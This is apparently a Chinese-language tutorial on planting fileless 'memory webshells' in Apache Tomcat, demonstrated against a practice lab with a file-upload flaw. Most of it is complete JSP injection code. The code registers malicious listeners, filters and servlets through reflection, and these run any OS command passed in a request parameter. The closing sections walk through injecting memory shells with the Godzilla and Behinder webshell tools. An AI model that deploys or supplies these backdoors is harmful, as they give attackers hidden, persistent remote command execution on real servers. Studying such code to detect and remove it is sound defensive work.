web权限维持 介绍 webshell内存马是把木马和后门写在内存中 然后去执行 达到webshell
可以加强攻击的隐蔽性和排查难度
java内存马 相关文章
前置 java在进行web服务时 有三大件开启
启动的顺序为listener->Filter->servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层,负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
Filter,过滤器,是对Servlet技术的一个强补充,其主要功能是
在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据
在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件
可以使用监听器监听客户端的请求、服务端的操作等
可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等
所以
Java的内存马可以在这三个方向做文章
环境 找了个可以用java内存马打的靶场
tomcat的
这里模拟的是一个文件上传的功能点
我们可以通过内存马打入目标服务器
添加tomcat配置
应用
jdk配的是8u65
内存马 监听器内存马 监听器是请求服务的第一个位置 这意味着我们只要请求就会触发
<%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <% Object obj = request.getServletContext(); java.lang.reflect.Field field = obj.getClass().getDeclaredField("context" ); field.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) field.get(obj); field = applicationContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); StandardContext standardContext = (StandardContext) field.get(applicationContext); ListenerDemo listenerdemo = new ListenerDemo (); standardContext.addApplicationEventListener(listenerdemo); %> <%! public class ListenerDemo implements ServletRequestListener { public void requestDestroyed (ServletRequestEvent sre) { System.out.println("requestDestroyed" ); } public void requestInitialized (ServletRequestEvent sre) { System.out.println("requestInitialized" ); try { String cmd = sre.getServletRequest().getParameter("cmd" ); Runtime.getRuntime().exec(cmd); }catch (Exception e ){ } } } %>
通过反射机制在Tomcat服务器中绕过正常的安全限制,来动态地向一个Web应用程序添加事件监听器,并在这个监听器中执行任意系统命令。
获取ServletContext
并反射获取ApplicationContext
和StandardContext
通过request.getServletContext()
获取当前Web应用的ServletContext
对象。
使用反射机制访问ServletContext
对象中的context
字段(这里假设context
字段存在,实际上ServletContext
类并没有直接暴露这样的字段,这里可能是为了示例而假设的)。
将context
字段的值(假设为ApplicationContext
类型)转换为ApplicationContext
,并再次使用反射访问其context
字段,这次将其值转换为StandardContext
。
创建并执行任意命令的监听器
在JSP页面中定义了一个名为ListenerDemo
的内部类,它实现了ServletRequestListener
接口。这个接口允许监听器在Servlet请求被初始化和销毁时接收通知。
在requestInitialized
方法中,监听器尝试从HTTP请求中获取名为cmd
的参数,并使用Runtime.getRuntime().exec(cmd)
执行这个命令。这允许任何能够向这个Web应用发送HTTP请求的用户执行服务器上的任意命令。
向Web应用添加监听器
使用standardContext.addApplicationEventListener(listenerdemo);
将ListenerDemo
实例作为事件监听器添加到Web应用中。这意味着每当有新的请求进入时,ListenerDemo
的requestInitialized
方法都会被调用,尝试执行请求中指定的命令。
同理
另一个内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="javax.servlet.*" %> <%@ page import ="javax.servlet.annotation.WebServlet" %> <%@ page import ="javax.servlet.http.HttpServlet" %> <%@ page import ="javax.servlet.http.HttpServletRequest" %> <%@ page import ="javax.servlet.http.HttpServletResponse" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <!-- 1 、exec this --> <!-- 2 、request any url with a parameter of "shell" --> <% class S implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized (ServletRequestEvent servletRequestEvent) { if (request.getParameter("shell" ) != null ){ try { Runtime.getRuntime().exec(request.getParameter("shell" )); } catch (IOException e) {} } } } %> <% ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);out.println("inject success" ); S servletRequestListener = new S ();standardContext.addApplicationEventListener(servletRequestListener); %> <!-- 1 、exec this --> <!-- 2 、request any url with a parameter of "shell" -->
提交内存马
成功
访问这个木马 并尝试调用计算器
没有调用出来
这是因为在把木马写入监听器里
再次访问
调用成功
并且此时我们随便找一个路径执行cmd都行
过滤器内存马 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page import ="java.io.IOException" %> <%@ page import ="javax.servlet.DispatcherType" %> <%@ page import ="javax.servlet.Filter" %> <%@ page import ="javax.servlet.FilterChain" %> <%@ page import ="javax.servlet.FilterConfig" %> <%@ page import ="javax.servlet.FilterRegistration" %> <%@ page import ="javax.servlet.ServletContext" %> <%@ page import ="javax.servlet.ServletException" %> <%@ page import ="javax.servlet.ServletRequest" %> <%@ page import ="javax.servlet.ServletResponse" %> <%@ page import ="javax.servlet.annotation.WebServlet" %> <%@ page import ="javax.servlet.http.HttpServlet" %> <%@ page import ="javax.servlet.http.HttpServletRequest" %> <%@ page import ="javax.servlet.http.HttpServletResponse" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.*" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.lang.reflect.*" %> <%@ page import ="java.util.EnumSet" %> <%@ page import ="java.util.Map" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" > <title>Insert title here</title> </head> <body> <% final String name = "n1ntyfilter" ;ServletContext ctx = request.getSession().getServletContext();Field f = ctx.getClass().getDeclaredField("context" );f.setAccessible(true ); ApplicationContext appCtx = (ApplicationContext)f.get(ctx);f = appCtx.getClass().getDeclaredField("context" ); f.setAccessible(true ); StandardContext standardCtx = (StandardContext)f.get(appCtx);f = standardCtx.getClass().getDeclaredField("filterConfigs" ); f.setAccessible(true ); Map filterConfigs = (Map)f.get(standardCtx);if (filterConfigs.get(name) == null ) { out.println("inject " + name); Filter filter = new Filter () { @Override public void init (FilterConfig arg0) throws ServletException { } @Override public void doFilter (ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest)arg0; if (req.getParameter("cmd" ) != null ) { byte [] data = new byte [1024 ]; Process p = new ProcessBuilder ("cmd.exe" ,"/c" , req.getParameter("cmd" )).start(); int len = p.getInputStream().read(data); p.destroy(); arg1.getWriter().write(new String (data, 0 , len)); return ; } arg2.doFilter(arg0, arg1); } @Override public void destroy () { } }; FilterDef filterDef = new FilterDef (); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardCtx.addFilterDef(filterDef); FilterMap m = new FilterMap (); m.setFilterName(filterDef.getFilterName()); m.setDispatcher(DispatcherType.REQUEST.name()); m.addURLPattern("/*" ); standardCtx.addFilterMapBefore(m); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); filterConfigs.put(name, filterConfig); out.println("injected" ); } %> </body> </html>
创建恶意filter
用filterDef对filter进行封装
将filterDef添加到filterDefs跟filterConfigs中
创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
访问这个jsp,注入成功后,用?cmd=即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3)
同理 访问这个内存马 并执行命令 让他把木马写道过滤器中
再次访问
命令执行成功
同样不管路径 因为访问web一定会经过这三大件
其他内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <!-- tomcat 8 /9 --> <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap" page import = "org.apache.tomcat.util.descriptor.web.FilterDef" --><!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.annotation.WebServlet" %> <%@ page import = "javax.servlet.http.HttpServlet" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "javax.servlet.http.HttpServletResponse" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.lang.reflect.InvocationTargetException" %> <%@ page import = "java.util.Map" %> <!-- 1 revise the import class with correct tomcat version --> <!-- 2 request this jsp file --> <!-- 3 request xxxx/this file/../abcd?cmdc=calc --> <% class DefaultFilter implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { } public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; if (req.getParameter("cmdc" ) != null ) { Runtime.getRuntime().exec(req.getParameter("cmdc" )); response.getWriter().println("exec done" ); } filterChain.doFilter(servletRequest, servletResponse); } public void destroy () {} } %> <% String name = "DefaultFilter" ;ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null ){ DefaultFilter filter = new DefaultFilter (); FilterDef filterDef = new FilterDef (); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/abcd" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); out.write("Inject success!" ); } else { out.write("Injected" ); } %>
伺服器内存马 和前面同理
创建一个恶意的servlet
获取当前的StandardContext
将恶意servlet封装成wrapper添加到StandardContext的children当中
添加ServletMapping将访问的URL和wrapper进行绑定
<%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.PrintWriter" %> <% Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; %> <% org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("jweny" ); newWrapper.setLoadOnStartup(1 ); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); standardCtx.addChild(newWrapper); standardCtx.addServletMapping("/shell" ,"jweny" ); %>
访问当前应用的/shell路径,加上cmd参数就可以命令执行
其他伺服器内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.annotation.WebServlet" %> <%@ page import = "javax.servlet.http.HttpServlet" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "javax.servlet.http.HttpServletResponse" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Field" %> <!-- 1 request this file --> <!-- 2 request thisfile/../evilpage?cmd=calc --> <% class EvilServlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException {} @Override public String getServletInfo () {return null ;} @Override public void destroy () {} public ServletConfig getServletConfig () {return null ;} @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request1 = (HttpServletRequest) req; HttpServletResponse response1 = (HttpServletResponse) res; if (request1.getParameter("cmd" ) != null ){ Runtime.getRuntime().exec(request1.getParameter("cmd" )); } else { response1.sendError(HttpServletResponse.SC_NOT_FOUND); } } } %> <% ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); EvilServlet evilServlet = new EvilServlet ();org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper(); evilWrapper.setName("evilPage" ); evilWrapper.setLoadOnStartup(1 ); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMapping("/evilpage" , "evilPage" ); out.println("动态注入servlet成功" ); %>
哥斯拉内存马 哥斯拉先生成一个java的木马
上传shell.jsp
哥斯拉连接
进入
上面有一个memoryshell 这就是我们的内存马
我们run一下这个内存马
他的内存马是在/favicon.ico下的
新建监听器连接
成功
是在根目录下
冰蝎内存马 之前一直没用过
冰蝎的木马是存放在他的文件夹中的
默认连接密码rebeyond
上传木马
冰蝎连接
打开
呃 连接失败了
好像是这个靶场权限的问题
我们把这个木马放到根目录下来
根目录下连接成功
在外面可以打内存马
失败
网上找了发现是工具本身的问题
不能用这个路径
这个路径
添加时也不能用这个路径
要到网站根目录下的/aaa去
攻击成功
网站根目录下是没有/aaa路径的